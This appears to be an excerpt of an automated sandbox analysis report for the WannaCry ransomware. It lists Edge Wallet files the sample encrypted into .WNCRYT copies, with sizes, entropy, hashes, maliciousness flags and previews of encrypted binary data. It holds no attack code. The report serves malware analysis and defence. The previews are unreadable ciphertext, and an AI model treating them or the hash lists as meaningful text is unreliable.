                                                                                                      Entropy (8bit):7.988213245485171
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:jTH4W53Afmcqq4PbptatQttMLz2YCfBJjMKeeGOmwGd9:HH4cEqz9EKtxDcKaLw+
                                                                                                      MD5:BECF26B7D70AD4A4E0A86944E17C0039
                                                                                                      SHA1:9E9B58AB6513BDF85CA9860B51A2F6E16C9B82BF
                                                                                                      SHA-256:9A09C6AAF4CCF07E1BFEE8C95968252830C2A4D6ACE1E26793501E4E8F2923C8
                                                                                                      SHA-512:9EA5408B2BBFBC2DE785569128C4F720BD3C66625BEFD3CF9C1C0D0B11E57D24E3AD917DE2A0E73826004371BC4BF6DB40F88CCA3F8D3A6A60DE8598A67078CF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........!.S.rU.-..0.'..r`.q...Eg..k.L....;.0......m.n.V.baDwa.w..H.k..j~.-4.!......j.p..&.Gh...#...0aO.#.{.0.. J.I...c2..$.....1.F..4....TT.Sq.>.\1@x#Bn..e...j).U|#.9..L+........u&...f`._.z..d......I...s?.....Yn.>..##.....9.^e...3J.x@^.p....7.0Q.....$?..........h.,?.Yj..$!.;..PJ.T.~......h.K..>.....Z5...{..H.iSB6..."..i..zD@.A3...'.p....V..T.j-......N3.691.I..X"k.s......,..x.......=Lv....s..[E..q..7..,...q=.I...</.\.@.....U,.o+.C.1.Z6...\(..{..0&...Z03.0....B..%!.(...n%.c.=.3\..MG.....F.I|....b9...;#..g.J0...<......5.....F..z.m.....=^..Y...yT.(>...;zj..dh..ve.V...o%....J......@....t8.2yD....3A.f.>........>I:.<..U.J~b.....0.....2..L.u.\u).6m).x;.,...I....a...$.....<.......9.k@X.Ub.h.........|yDz.../...}........i....=.>.^..c.S/.?.5........(..1..p}.WZ.(.o..w.........y..Sa.....:..N....U..{'f3.{;..>8...t.B..?..T.. .*.#.....8.i.r.T.,..3..F.......#%..rK.c.1....^Z..T..g.S.%]. ......>C".fY{c|~..\.3..we..._`\y..U..k....K.@g7.../..N

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2088
                                                                                                      Entropy (8bit):7.900279447103427
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkIkedn3w/g/Z1nOprF5i9i3X2y6xQ61iF1:o3ed3w/AnIpA9g2Y61Y1
                                                                                                      MD5:D959B3F6EF6BBFB145F79873C62059AE
                                                                                                      SHA1:619D480B91CB78CC3945A65EC67C06ECD989AD19
                                                                                                      SHA-256:3E173111A7D7042C30A2BF9159406676167596C5219A80B392BB24C022203B83
                                                                                                      SHA-512:5AC0395AF882B0A41FCCB96B3E2B3030E8EA3015F7A84BFA977E227F2BFD1F233E79761012A6F0EEC85F0A9DE70E76BFB97801EA0D268F232A6520791FBA4581
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%zd..z...rG8Ccj.{g.. .].hl....[...\...HA.... ..czY.@x....}.."......p?]....D&...)<|.VA{..<.dj..s.C..5.7.m.fC.....)..EI.,.{k..z.R-m...?..:......f,...s..`p..0..6q,9.r.E.d....`Dv..\s..6J%}.aK...S.w.....<.. +M.K.3..dAQ.w.._....<p...k.T.......*...J.e.._.............U.Z"....*`.7.-."....t8...e8..Q,t@.n...}.6+1Z6...D.#.*w}.a>M...cz).1..."|]....a.|......c..9..L..#.R.U..Z;nz..A.)....9m..%.eO............H....=..H~R..../o6....;.x5-vu.7=..[V.Z.D.....(.T.......iF{....y.O..Pp.?U..#k..q#.....p..t1.{..Wmg$...|r.!.PX....|.._....M..Ou..E...<.s.<...-*...@.d..q!..f..K....U..]....7......U.......^..h..o.A...!D.....p;8u.`.-..4v.....g..hN..".....C.U.$....F.U]...)h..:..p.2....a...B.Q.Z.N..,.r!mW.H.7.*:..\.Aq..D.!...;.rp...+&9......(...@l..S+ba...@br1.~;..V.X...R..v...1b..S.&......$......`.......w.e..d.|.Pz........U......(L.".f.E.l5.Y..Z.......d@...`.y._...q..5..........c..;...T#.Vj.....9L.....-M..../F.....!..... ..(."......D...rY...U#..Z...E....S.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1394952
                                                                                                      Entropy (8bit):7.999877654650071
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:/hHZIAxwg3Aq8rooh1dTU/N4yTT4PNbvTMch/MyPCjlij2kqfE5:/hHOQw9ooD9U/N4ZvTMchkrHkAE5
                                                                                                      MD5:EDE5D6178CA4BE989A79DF1C2332B0B1
                                                                                                      SHA1:63EEF74ECE0B81120F26E3A81D73B03C1EAFDC55
                                                                                                      SHA-256:D089C12C9A875B0331BFA6057EF54F20F79496C85EDD86C564C61A4F84EDA329
                                                                                                      SHA-512:97B2AEDCC494435A58F6E4390BCA7CAD5B55CDD2F4FD31F9A283EBA3802C9D66527283E39914B64CFF55AA150D002C15388101D900A310DA281DC336D9DC86B7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....~T.).:G..oo..{.....Q...?..B..z ...4.x.J.;]JH....;......P..h+...G-%Zr.a5....@._..j;..*..2........6q..%c.uMJ....)..*......O4.(\.u....).....0.+...]6..f,V.w.$....A..0G}..I..m.....$........$......6.B.7.e.....S...!^ RO..-.....o4....d...o.L.........G............J.gF...........p....>!i..T.;}...Id$.......E.....^..[.Hp...Gp.zR..A9....<b@.....3.g..i..g...o....d..^..:~.....5.z\L.....9.h......0..._.i...;.<zc7...6...a{*G.4.4....&.." ...:...._..b.c.(..........!..e..*.4=9.Z5.umS.7.=.\.....c..+.....f ex7.....G0.HGb.).P........1.........L...'.-......zw.w..+...k..vJ.K...1QZ.n.....t......)..\.~.x.;/.6..../...&.$.dJ.1.P1H....X]B3.....=..-d..p..9..H..s.......U.j..9_.:G....r.w=.v?..]._3..&..........+..r..(.(.._.w.f.K............9..2U..&U.N..A......^T]..$..Kv....l-..FJ.....W.W...6.w.g).3L..^.._W.2<b.u.z.^h.20b.)]>Q..e.9.....N.sR.......W.i...._...e?.1!.bZ@W..RB^N....;.c..|..A....)kr.V....g^..X..?.X.i....[...o:.Og.c..e..q=.I0a......c#..v5]..NqV..|.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2040
                                                                                                      Entropy (8bit):7.893733192725476
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkwXeYC/Z0B+rkcLZH6atPYnprqpjI8uVxAIG77SSs9DG779p9qV2dQ8i:oyeYpKoaZgprqpic2ktqV2Li
                                                                                                      MD5:66B2D75EBBF6F250E9C810FDC9F8D890
                                                                                                      SHA1:744B06BE2660AE9932C118AEA1359F515C320768
                                                                                                      SHA-256:65AF0CC81787B0CA9A1FBFE0C414B84AE9A632EE4EB04046A7A22DA6ABAD68BB
                                                                                                      SHA-512:09C4FC02155AB5B0372053992D3E7AADDB7631FFFA4A97B83690990B65A74FBAC06DC8557091B16BD110B44FCB25C5241BB0D6C21A0979350B82251D0EA84616
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....p.Dg.C?...m?E..D.(w4..)@)D.B.=....v..F.R...f...Q4.x$......dT1U.....O...;.Y}.o.*9.,?mw.w..&....._Y.Ljf.Hj<.OGA...Z..............Y.h..V3.^...Uy...9...~[Gh..Y...YT..-Vt@.%.x~!.pZ.|m>.Z.3.|.S:..r..=_IX.....1j.L+....f.W._U5?...[.^Jg.<d.r...2..."..............w..yy{k........77.~,HBH.4...Y.WW..9.d..fF.4.F$..O..+.X.c.l..R.#...8....2*$..M .p..1.(.6......L..3.+O..M.............z/+..l......_(.h.X.s..wo..G.....W..8........5|..\.p........{..A.D............3.L....*x...2T)J..~N.N....9nZ.d.........:pS.A......II....]....~u.|..'.....A......z.L.,........uv.t.3....E......g...."..H*.l..~.*....,..x^'8..l.`...u....A+.yF.....S..@.g3....+Vt.V..8.c.m2K...o<TG....~D$.\#.Q..y..J/...k..G.h..c>.......3..Q.3a.......,.J..D...i..O.9.d...9.*...^...r.d.*TF.c4.0_..1p..$....H...U.O..+.B..........Z..NJ0..h\..C..1.x..I.#...(.#.mo......~..Z..B...y..0.4....~....G.C...U..=.h...T...........,..X.=........H.<.......Iww.U..U0p.....}....[$.r}...qYn:VY".....V...q.]...Ds.hT="*.B(W

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):843176
                                                                                                      Entropy (8bit):7.999814621296437
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:mNyz/WwIQpK2grxG6i4flLEih39be4lXVgLWyvsFAd6BEAfodX:m0KwbpavZz9S4jgayv0NyV1
                                                                                                      MD5:3ABA9FCD0DE9CD76EFA025635F9541DB
                                                                                                      SHA1:22070D20C718F98771B5E9404F40B6EBD129428F
                                                                                                      SHA-256:C6EBD8EBCE440DA17C28411F2A95F37D05FB8496F77D965DDE2544E2B74DB632
                                                                                                      SHA-512:B7F8688BDF871A8791C8801D22AD83896FA444DCC5C6FF60C396829621FF50814C9CCE69D26F0EBF7E5BB19C9864BA1383D58F7C32584D30F967EC5F57916914
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....!.p..%./zQ...U}.e._...bT.Ot.-$....'.@....s...^...gY....DU....|o..p.8......Jn...g..xL7....6.F>.)..eD.r......9s.sR...Y.&..G(.:...:.T..X.`.......q....Q.........a.t.ph.{..s.FX....8.Tx.24..|Rg..`.....2"..8.-(....OKl....8}K...Y.....H..k....k#.............x.i_.*.2..W...\Q$..c<..j...Z/._.......{~q..+..x..b.0D&... ...>.G...y.+.LV..x...C...>r.../'...t......P...y.O1.Obx..>.v....E!b....0ut..F....p.C..~..........N...v0Z.]M..I.0yJ(....d.;)...9.D.....l..G.%K.qx...hA.M9N{.Z..b..Fz...d@;.{.:....8....n.u......<q)....c..C.?.-x.k....p...X........`.W.J.S.G".`.(v..sL.s..X.q.#9...f..X.'W.,.....{.3.....u.a[(.+z..k.8z.r.*../......gM.....)..S...5V7?{..DV..x........K.n...E.<.M.m...?gC...c.Uo.5.L..|H.....E..K....d.J.....X....+[.o?g;%...wi7...g$pE9...._.<.b.L>..i....7.....Xp. .?C.=...[..F...|B.$.X.......(.b..?U..4.+ca..d...r.1...{...~"..{..g<b.3b..{..&...h..d$&X..2Y.?...~..+(..T.<V..\D...K...RF..{....OV..5a.....k.j).=<..kn.....+... ?X..)\....[.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl_driver.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11832
                                                                                                      Entropy (8bit):7.9845977405648885
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:UBJdPuaS/wf17DkmeAQNNbcWCM1z5puWd+JfwrslYJQT+PHTlUhne5p+9DP+mQiJ:UBJd4If17AiQTbchM1Np4fDlAxUhne5M
                                                                                                      MD5:3C20C6B10ADC98B59B945A7716C9EA5E
                                                                                                      SHA1:93A6809ACF3F2934E449E8C358C25D54DCF1A158
                                                                                                      SHA-256:305441EFF8B58F13A4BF0E13BEF87BBF94AD5D3448021C60C905AD256C99AD7E
                                                                                                      SHA-512:778FF7BDADCE559A3DA98444224758FDC67390F86A0CD30AC159F151938592C6BA340D47E5B65E213DA0E93678416D6F0723D47F2B6C9EB545EA9EE97ED4BD76
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l?n.......D..........b.)....S.j...&]......@1<...k4.X..."k.........6.....4RR.....aQ<dW.h.k..o:.w.]J...k*.}....i{...).....-.....^b.....c.4./.a.....o..U4..7.....L.`..~I./..`I... .....K..gf..by6.IO>$U....-..O.p|.".6jj..".........a..O..O_..I.....d".....-........C....<.#...Y..$.L.....".....n.>...\O..^..)-...:M..............s.1.9..j.ea....q..G9.....s.7.........P......u_^..%n.....j:....(MBSG..l.g.0..S..?.H.S(U'...Y......v.yJ...q.>1F:..G.kzG..`......^.[I...4.........)`.ss..A.|..s.....T..|..g...."....fp..N:....#.12 b1.L>.....q.........yY.h."..&................PH..>Zo.g.g/#8'..]....VlCis..a.B.J.D.#[iq.X......&.....d).eq..Nq>.oo (..)K..a..>.\.@..b..a...0..D.4.nDUl..0....V..M.Y.+....5.uB..y.....6.x8.......=.......!..(.5D..M./..?....*%b.![..n...g..]..!3T.R..@A..a....."....+...D.Ma.s.E..\..D..F....g .0.}.W..k.n[QC..r...z....yv.#....oN).......*.E]R..W..@3....L...........%....m.^j[.Y'[ ...A.y.w....*.K.I.....i..~Y...*l..r...0.....c..R....|..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):14632
                                                                                                      Entropy (8bit):7.987458765793894
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:2V+qCJAFihRQDmdceDR0fa6wsAVaZmRryxLaw:2SAFi0m+eDR0fnYdu
                                                                                                      MD5:30845C5CDFF43EE75A18D3855E8886A9
                                                                                                      SHA1:090E1F1D37162C2654E1314E90AA54AD51E37A10
                                                                                                      SHA-256:EED099A57D586B065AB5A83E74256ECC050B58D3083F037BE14B0179AAAB08BD
                                                                                                      SHA-512:42E08F2D0E2BCB4164CBFC88FEB2AE790A0724F3D78A0935824CE5FA35B7E7BD33A354256C7A5FADE5CB4288F8BC90B008D62323E8992275FC4EB4A5D527AD77
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....@.^Ay...WT..C...P....;&]nQ+3kl....(.'XJt...w..C......Ps.?T.6".E .MG0%........~.J.H@...d..L....l..L~8D.C..-..()..=.E..29.j..vJ...2.i...\0....N..jb.....f..IE..w7.=..y....:..NM.?."4.../...0..(.V.*...IcG....<.[x....J..V).xn.7s......`..(.....1..0..\.......8......E..h..........!.%t[....G...76~...Z..iU.Fp.^...V.~..b.. y..R/..p.{..bA ..].q....0..8..%...............U..V.i.lo.1.%.. ....H...}7cP...3f'.nf'..u..K..Ob.*.....H..J. ..D.]2.....U.*..@5..5.[.og..c..o..L..~%.+.N1K.]D'.....L..,.}B.@*..v[+.9->........D.s&c..1<........'..B>o.....`.......d.~..B..6.W..[..$.GF-i[*.Z....X....:.BO.h?..n......J..M...5...t...!..4}P...%..58..6.LF.7ih....1/J............p.....U...C.'2..z...6....M....x}...Ht...@_....Z.n.H..G.....@<...8..bw.S.........n3.........Z.n[ve..S4...G.v.M....d.r7C.../.......P..Y.<..B.l.)F|i.4.X....?NR.k...L.......M......a.].L...N....v.mur.K....`?&.b+W........\......C.....K..(a.>.u.F.tl.. a..k....>N.........hv%l.=#.R......*...X\j.N..H....x...TJ

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1946312
                                                                                                      Entropy (8bit):7.999904685265974
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:KXZOrgPP1PUxr1VJw7ps0cdnTaCFcaaIBV5O8/6do/Og6vBXcOydJuh/ddzhiFJ/:KpOrFEps2CDl6fgMM9dJuhXYJ/
                                                                                                      MD5:151865C492B3D340EF6EF092052419DA
                                                                                                      SHA1:5B99ABEBDBF5D1E8FD474DFC7454E5E3C4BD5C22
                                                                                                      SHA-256:36E425554AC6DE8EA4DAE59C47EC0E089B82975ED1C01D7E516AAD2FD1560E4A
                                                                                                      SHA-512:828480488EB72135EE2004639B5BFBC076221E2A54CE21F78C8D9995FEB31FC546C2CD7124F66947B70BE69BE49C245A2B22F4CD33280BE30A86F83D9500EAFB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....U-.\..O#....K;.[..O..9.^[.FPJ...( .wZ-.P=wcf.k...fi=".nC.Omr..)`.EPYJ<..'.j`<.Y8.2.T...n..))..{.S....D..\...4w.+.O%&.~.g.%.6..2.........r..r.Y4u/..........1.z.;.p..L.0.d..."..C.6..u..........@.....O... |.|...K/.aEU.."y6..jh..X..1....1.......Kf.............1fnD... .......5.....WJS..<|... ..j&}.........0....>.8..Q9.r.<.).?..$otX..F.l%.]).P...u.@..z.......G.S.......9..D.6B?U(..M...D...Y.tLp.0..b...L...d..Lj.k.>...iq...[bu.@7'}...3..............^..O....C....._.D....:...`.j.v.U....5.....%.31.Tr.}c..p../4r.H........j._.K..T.^..?=.....?....]-..'...ug.../...8.K......4.k..`|.Il.\9....&...'.}.M..K.}.....;.....[A..3z=Y.....`/.....\.......... \.m....NF..G.....OQ~..W5..:/..(.7L...ZsD.....,V$...@l.0.....d....*..H.)G.D9.....~.,...`M.............ZD(..)M?r...;.-....4..*.f|..y&...9.k..N..}*.L.o(...U\.d...?..]....$...{E.0,.N...YK..c.Ga..]..=.....6..U.q-4..c&_.!x.M......GP.........H..O...:$o3...e.Bss.U..;.R..nm.M.T..K..v....3.\..3{.'..W..)3

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\load-hub-i18n.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1624
                                                                                                      Entropy (8bit):7.8698938302263
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bk1cd8DHIBDsw8sMPIIbGeeRwfAleR5IQALUJzcE6:o1cKqD78t1GPy48/TuUJL6
                                                                                                      MD5:460F189E7D35A2F558ACD14C31AC126D
                                                                                                      SHA1:9A16AB3367C42D47D32FF3ADB59F8E48FE0F1E4A
                                                                                                      SHA-256:CDE7221E65D2821E5C0D1BA8A8361831E59E9A7759400C1043EC798741A6BC1D
                                                                                                      SHA-512:A50CE1DFB5D8623F865DA72164367487C394A8C2A753AC1104084C5A59048EE926E6E84A24762CC9B2802FB7FAB09183807036FB7A7852091C42B3C9224A5946
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Z@&`kC....pt.3...+#......r..... R...q.d4W...P:kD.#2X......>....b....h......'..<..:<m....$L.=.......\.#...,....."..o.B.i...F....]...I...l).[.N.K..-x..Z.<..R.j}.....7..q;k.r..l).4..........6...X\......2b.D.|....l.:..}..;.T.Q..UiK]._ni....K..6....4................k@d..!.Q....U.d...:q.....e..kB....Z..B+....#EB3p.0....i6..BR.............d...,.[.38XT..]...|]..=>(.+..?.........&...<#H..P....H.LS..<[..@d.F.)?.oH1Y.T.........I....CzHx"K.}Q..=......y-.{x....L...]H..*.,X...hj9B...UY./.!a.t....n..\.h.d.Hv.%..5)...40........3 .o...K.U.N.V.)vs[..WS.]8G|..!.N^.{...._..<C..../...f..+{5B....)..r.R.&.k...@.X.e.....9.D.]'.}&A.s..w..R...}...k.....xF....../wz.W.K.w.s....aMW...(..l$.-...D.:.^Z...A&W.....~RR.$.v'x.V..d.gd....{...~....I......O.U.C.<)m..c.t..R...9o...."..g?O0......]b...Q....F....&...D?.d...!....TT.....uo..2f2.HZ..?...Z=.a...lF_..... ....xxa(.."S.*?.:.*B.Iy.E.......Y...C...........*Z.>..3...T.........49..4T.dG..F..y.*.Y>..b1.f.sj

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\runtime.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2424
                                                                                                      Entropy (8bit):7.9231440147630146
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkrDs/Hd1Oi7KJmhJujFMZbzj9V+0sAOs3hwaGpP7aWleEKYmHLhLyCR7y:orDYBcpMBq9gh/s73l4HLN9y
                                                                                                      MD5:1955719DADEFB572928432C2469CECC3
                                                                                                      SHA1:145E4DCEFE0E4EF310D17981096012228EF0BA52
                                                                                                      SHA-256:460B7DBBD73978ED106E946C02CC13008A53AFA6D490494D6215EC4F95168D36
                                                                                                      SHA-512:3A08C17B7347C192E0D1B6C2338AF70AFF17A363F6A93B6CE07FACF7EC3C952F130A1EACD3368FD7BA014AC6C889E8EDF114AAF06CFAF1B66118616D474DB5CE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......$.=.......1....p..0.1....].....7...xY.......4.T..(....hQ.[U.............a.u.H...ls..<.&.Tc..Uj.PZ...a/.$.x..T.\...z........ri......>..gV....3.(.......Y..zZ..[..k..aS....+...9b.s.>.0SDm..)..d+..W..S..F).o7.%.2.0..,....(......6...p......-..\....^.........z..^dR..D...|..Wb,i...=a}T'..J..Ft..4#-.VS.}....!!D..[3../...`.....L+r.,........>..-.C.-c;....H8.n.7.N.....HY.E....Y...*r..i....9A.L..j~.y_.3..s2v.z.j4..j....h....k?.....>.x..>,.A......,i....d..Z...z...\.1...#Q.EFI...!.`..$.}c..I....P...8....c.o6..]GC.#..!...TO.<..yJ.(F...P........3J...M=[A...wh......JT....{..8.!...JW.Zo..:k. o=.}x..q...b...j.FW..a.....z.W..M.z*_..3.,T........_....i...+...6...<p..L<U..7..Q...P.YU*DRzC)=H./5.7..N.5......3#bk.<.....Y:S^..&...2...b[.. ]..<LpY..Tk3D..|B.?....S.6.n.YUv!.C...j$-.W..f%.C...W.{...`.!f...rt..j0..].NHc.....%-n_......M,.....4G.........I^XT.....}.i.y"CW......$.T....c...G_...........C-..9..9........i.!..p.K8..q.vq.2 <....Xhd.~..f

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):28904
                                                                                                      Entropy (8bit):7.992965142522699
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:xGZFBgnLcFABgQrvcOqrYQtiAgJWzvupSSXU2q1lwyuyuUpDQ9xnP8G0Dfi57WDk:MZFBgPyht0L5b7ypuKUx8G07i5qDAV
                                                                                                      MD5:C102A817202E7D2FE036BE4A4DE953BB
                                                                                                      SHA1:0C9D86ED80289F45BBEDCFBD085513558DAA8D1A
                                                                                                      SHA-256:CC129C3DF1E210E4F6BA75252053E70519A4C692F5F3306211FB951DC0497A70
                                                                                                      SHA-512:B21C54167432C0AE981DFCD936FFD24208CAABF769CAC3BF8D4545F552C93FF78ED24E788B3E403DA29252EE60E13D13C9DDE32BF96E62203247D9D848D1A1E4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....._xrp7=.T.Uu.pr.....j..7x...l....)...>"..e.,......_nk.......G.rl..m.[....e.S.D.C...U.b.s...._m...6.t..`....S..;.].;..h.3..ws..bI1..R.6.M"<e....;...;...%.e9dV.....@..33...I+.t.......2...>zl.|<0}..q...-....TC.M@M..I.*....?..<.Z.Z..N....U.)W....K......o.......,...i\=..%.b0@._.N..$........rR.E.j.<8n~.".V.2.f,..,..U....N.Ij+5..J.s^..E>k..O..L0..`."......N..+.b...I.R.......j.0,.~4. s3|...o...........My.e}..oS{.mH.....;6......m......s....K..kU...Dd.d..*G...R..4Kn.^N.$.....ZR.s....1...c...R.f..Y....6.i......NK.....=...k<.Z.n%6...1.V..K.q...OJ.Ur...L....\g...`M...i*.....|q+BW........O-3..H..V..FPV...\s...]...D.4{,.s.!..l.).......&...8....m...b.2.^p.sn.a.,k..Q9o..A&......'..~....[.I....|U].b.]...YCS}.sC.8f.~AD...oO.?.(.m...Y...............&.C....=_k.."FK...0..I.B.Y5...#...g.8..7UT.9..d..D..."6h.,.h./c.....=02..S........De.K.g........H?.0(8(..:.Q... GC`..;..Ja.Mq...2...$m...z..n%q....o..VCg..H...|l..?J,.-......lAh..{%....h*..+..{..]\..Ci..^

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2920
                                                                                                      Entropy (8bit):7.928941908280132
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkZ55m6HK0e5+PNjl0ukFyHD9Qt/dZdr/taHkxWZ81/qJRPBlbtlvXKpuKL:oZmHF5a/kojut/dz/f2m/qJljtN64KL
                                                                                                      MD5:9169D191CCDDFFDD0A9BBB0F4149533C
                                                                                                      SHA1:07EB55BD6A7CCCD12602B4020064DC96BA7A9102
                                                                                                      SHA-256:1170C9D29D5D6780B8DF54D0332560C8AA41DA8BD238053AD88451B47D40E4E3
                                                                                                      SHA-512:384CAB5BDE6063E98E50D42069FE6A4A09089DD7C2C252D6C8A125185B51C008C3D4A65E5B1DBE0485E2CCFC88106B2A9A27B39ABB283751DF1D46052FAFAC42
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......a.b(j!~.L.W gS.M.EQ..Z,..0.X9....0w.P..X).u.;q.[<.W?...............p./-.^...D.qm..>A.l....S.I%.&...4.d:....<..{......=.gN5.p.~.YB..H.[=.^1h..=.......v.g......Y...2$;..2....].w.....r.!.".Q...W%..g."Db.&....h.e!QA..&6y...j....L..0..z.H.E........F........QJ..Q..|g{.j.u.3...h.....Qs...j..Q6.U.)..SJ.V...F....Yi..A..Cxx..BR.-.....JX...,..AHT...{|.>....@B...e.^...?...1...Cp..8.9..v.......B|.%.........).......}.!W.q.>..y.=...8b(..Y3..;..F~.WC..3..N.L..u.my.?..E...s.._............N...w5b..Y.R0.PB.....}:..N......h.B..WKW....u[..;%8c...[G.....LM.)".^..J..:)v"...6....R....@.W....TK.......x...%k'.......iTXR^.T......^om...F....Km..8.|.f#p....<..p...=.tg...?~.16....6...#.ns..O.1....+@."..n..Z.Iu...`K...Y.l!....z..x...Z..TYW-+1[Ug.}.p..).sx.*......S.....h..qq.g@5\.H...c.....i%...C.ie..=..wz.fb.....?.....>.|.2..,..W.>.=C;~n...e.p&8........D....~...........c].dfP{.4.H..).m...?........(...Oue...a.......7I....2...H..).t.0R..d.\0O.p^,...]P.x

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1441224
                                                                                                      Entropy (8bit):7.9998732072159395
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:EF1k/pYYzYrQK/fQjqRyvN2mVVPZNWOPSD3o7S4NMt1I0io4rw+OC0kBW4k4Wlrj:6+YYQIc8N2mHPTWOPSD47S4NMtO0grBg
                                                                                                      MD5:733C5825D3A5DC37F78D9F9EE4AE6361
                                                                                                      SHA1:6B57103AC9E56C2B5500C738CEFF49D098FA9DD5
                                                                                                      SHA-256:C6B3DCCD7A9CF77093C16D62DB0E22E18AB9786770059FFE7E24B1FCE15C22F0
                                                                                                      SHA-512:BD616E9324C715B7422B7234EC73DB3E3C640FA42D243A2B486F522D01A182EACF0C8E1B6D9F1F72FA4BD526E0D1BAB342855DD4A2CDD434B510A6D1A2E9945C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
